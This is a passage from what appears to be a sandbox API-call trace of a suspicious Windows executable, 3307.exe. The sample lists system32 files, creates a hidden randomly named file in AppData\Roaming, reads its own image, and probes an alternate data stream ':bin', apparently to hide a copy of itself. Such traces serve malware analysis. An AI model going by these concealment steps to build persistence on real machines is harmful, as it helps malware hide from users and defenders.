cAlternateFileName="")) returned 1 [0025.723] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x917ee720, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x917ee720, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xe5e99f20, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x7a00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="lsass.exe", cAlternateFileName="")) returned 1 [0025.723] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8646ad5c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8646ad5c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x86490ebc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x53c00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="lsm.exe", cAlternateFileName="")) returned 1 [0025.723] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc26f3e1f, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc26f3e1f, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xe63cef40, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x9f600, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="Magnify.exe", cAlternateFileName="")) returned 1 [0025.723] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa993f206, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xa993f206, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xe6599f00, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1ca00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="makecab.exe", cAlternateFileName="")) returned 1 [0025.723] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa131dd15, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa131dd15, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa131dd15, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13800, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="manage-bde.exe", cAlternateFileName="")) returned 1 [0025.723] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1285794, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa1285794, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa12ab8f4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe9c00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="mblctr.exe", cAlternateFileName="")) returned 1 [0025.723] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99860dd3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99860dd3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x998ad094, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x42a00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="mcbuilder.exe", cAlternateFileName="")) returned 1 [0025.723] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e9ff26e, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x4e9ff26e, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe6aa7e20, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x17c00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="mctadmin.exe", cAlternateFileName="")) returned 1 [0025.723] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x384388cc, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x384388cc, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xe6bfdae0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x15a00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="MdRes.exe", cAlternateFileName="")) returned 1 [0025.723] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90cae1b2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x90cae1b2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x90cd4312, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23e00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="MdSched.exe", cAlternateFileName="")) returned 1 [0025.723] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad68b6a9, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0xad68b6a9, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0xe6d2edb0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="mfpmp.exe", cAlternateFileName="")) returned 1 [0025.723] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf0ab17e, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xaf0ab17e, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x2d518220, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x16650, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="MigAutoPlay.exe", cAlternateFileName="")) returned 1 [0025.723] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x97ea8df4, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x97ea8df4, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe82c1510, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x20b800, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="mmc.exe", cAlternateFileName="")) returned 1 [0025.723] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa88cbd8e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa88cbd8e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa88cbd8e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x19000, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="mobsync.exe", cAlternateFileName="")) returned 1 [0025.723] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3581760b, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3581760b, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe85484a0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3a00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="mountvol.exe", cAlternateFileName="")) returned 1 [0025.723] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb7d7555, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xfb7d7555, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe8710d50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="mpnotify.exe", cAlternateFileName="")) returned 1 [0025.723] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cdf674, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x1cdf674, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x46f2a400, ftLastWriteTime.dwHighDateTime=0x1cb6fbd, nFileSizeHigh=0x0, nFileSizeLow=0x42180, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="MpSigStub.exe", cAlternateFileName="")) returned 1 [0025.723] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x858ac30d, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x858ac30d, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xe8900700, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3200, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="MRINFO.EXE", cAlternateFileName="")) returned 1 [0025.723] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93ef72ce, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93ef72ce, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93f1d42f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49400, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="msconfig.exe", cAlternateFileName="")) returned 1 [0025.723] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23f748c1, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x23f748c1, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xe9260570, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x106e00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="msdt.exe", cAlternateFileName="")) returned 1 [0025.724] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1d10961, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xf1d10961, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe92f7b50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x22a00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="msdtc.exe", cAlternateFileName="")) returned 1 [0025.724] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa36ac5f7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa36ac5f7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa36d2757, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="msfeedssync.exe", cAlternateFileName="")) returned 1 [0025.724] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c5bf525, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x6c5bf525, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0xe931ec50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x6600, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="msg.exe", cAlternateFileName="")) returned 1 [0025.724] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc462c463, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc462c463, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe9345d50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xaa00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="mshta.exe", cAlternateFileName="")) returned 1 [0025.724] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f58252, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92f58252, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92f58252, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1f400, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="msiexec.exe", cAlternateFileName="")) returned 1 [0025.724] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849572ea, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x849572ea, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x849572ea, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5c800, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0025.724] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8d77b9b, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xd8d77b9b, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xeabd2030, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x65e000, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="mspaint.exe", cAlternateFileName="")) returned 1 [0025.724] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x206ec2b5, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x206ec2b5, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xead4edf0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x9f000, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="msra.exe", cAlternateFileName="")) returned 1 [0025.724] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87cd0f09, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87cd0f09, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87cf7069, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x110a00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="mstsc.exe", cAlternateFileName="")) returned 1 [0025.724] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa8766c6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xfa8766c6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xeb048970, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x20a00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="mtstocom.exe", cAlternateFileName="")) returned 1 [0025.724] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3728ce1, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xd3728ce1, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xeb0dff50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x14600, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="MuiUnattend.exe", cAlternateFileName="")) returned 1 [0025.724] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e1df59a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9e1df59a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9e1df59a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="MultiDigiMon.exe", cAlternateFileName="")) returned 1 [0025.724] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x204904eb, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x204904eb, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xeb31b3f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x50800, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="NAPSTAT.EXE", cAlternateFileName="")) returned 1 [0025.724] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ad0ed19, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ad0ed19, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ad34e79, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x107000, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="Narrator.exe", cAlternateFileName="")) returned 1 [0025.724] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4caa4fdc, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x4caa4fdc, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xeb366ee0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="nbtstat.exe", cAlternateFileName="")) returned 1 [0025.724] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde950 [0025.724] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddea60 [0025.724] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde950) returned 1 [0025.724] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde950 [0025.724] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\C:\\Windows\\system32\\nbtstat.exe" (normalized: "c:\\windows\\system32\\c:\\windows\\system32\\nbtstat.exe"), fInfoLevelId=0x0, lpFileInformation=0x18f50c | out: lpFileInformation=0x18f50c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x1198ae7, ftCreationTime.dwHighDateTime=0xdd0000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x119a79c, ftLastWriteTime.dwLowDateTime=0x18f85c, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x2, nFileSizeLow=0x18f5a4)) returned 0 [0025.724] GetLastError () returned 0x7b [0025.724] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddea60) returned 1 [0025.724] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xc12d18 [0025.724] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xc12d18) returned 1 [0025.724] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\WKXI1F~1" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\wkxi1f~1"), fInfoLevelId=0x0, lpFileInformation=0x18f50c | out: lpFileInformation=0x18f50c*(dwFileAttributes=0x48, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0xdd0000, ftLastAccessTime.dwLowDateTime=0xc12d18, ftLastAccessTime.dwHighDateTime=0x119a79c, ftLastWriteTime.dwLowDateTime=0x18f85c, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x2, nFileSizeLow=0x18f5a4)) returned 0 [0025.724] GetLastError () returned 0x2 [0025.724] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\WKXI1F~1" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\wkxi1f~1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0x110 [0025.725] SetFileTime (hFile=0x110, lpCreationTime=0x0, lpLastAccessTime=0x18f550, lpLastWriteTime=0x18f550) returned 1 [0025.725] WriteFile (in: hFile=0x110, lpBuffer=0xc12d60*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x18f57c, lpOverlapped=0x0 | out: lpBuffer=0xc12d60*, lpNumberOfBytesWritten=0x18f57c*=0x0, lpOverlapped=0x0) returned 1 [0025.725] NtClose (Handle=0x110) returned 0x0 [0025.725] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde950) returned 1 [0025.725] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde9d8) returned 1 [0025.725] FindClose (in: hFindFile=0x2b2958 | out: hFindFile=0x2b2958) returned 1 [0025.725] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.725] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0025.725] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x800) returned 0xc13958 [0025.725] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xc13958, nSize=0x200 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3307.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3307.exe")) returned 0x2e [0025.725] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0025.726] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3307.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3307.exe"), fInfoLevelId=0x0, lpFileInformation=0x18f50c | out: lpFileInformation=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1825dd80, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x1825dd80, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x165c1a00, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0025.726] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3307.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3307.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf8 [0025.726] SetFileTime (hFile=0xf8, lpCreationTime=0x0, lpLastAccessTime=0x18f550, lpLastWriteTime=0x18f550) returned 0 [0025.726] GetFileSize (in: hFile=0xf8, lpFileSizeHigh=0x18f53c | out: lpFileSizeHigh=0x18f53c*=0x0) returned 0x44000 [0025.726] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f548*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f548*=0) returned 0x0 [0025.726] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x44000) returned 0xc19ea8 [0025.728] ReadFile (in: hFile=0xf8, lpBuffer=0xc19ea8, nNumberOfBytesToRead=0x44000, lpNumberOfBytesRead=0x18f57c, lpOverlapped=0x0 | out: lpBuffer=0xc19ea8*, lpNumberOfBytesRead=0x18f57c*=0x44000, lpOverlapped=0x0) returned 1 [0025.730] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x44000) returned 0xc5deb0 [0025.732] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xc19ea8) returned 1 [0025.732] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x44000) returned 0xc19ea8 [0025.732] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xc12d60) returned 1 [0025.732] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xc5deb0) returned 1 [0025.732] NtClose (Handle=0xf8) returned 0x0 [0025.732] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0025.732] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xc13958) returned 1 [0025.732] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0025.732] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\WKXI1F~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\wkxi1f~1:bin"), fInfoLevelId=0x0, 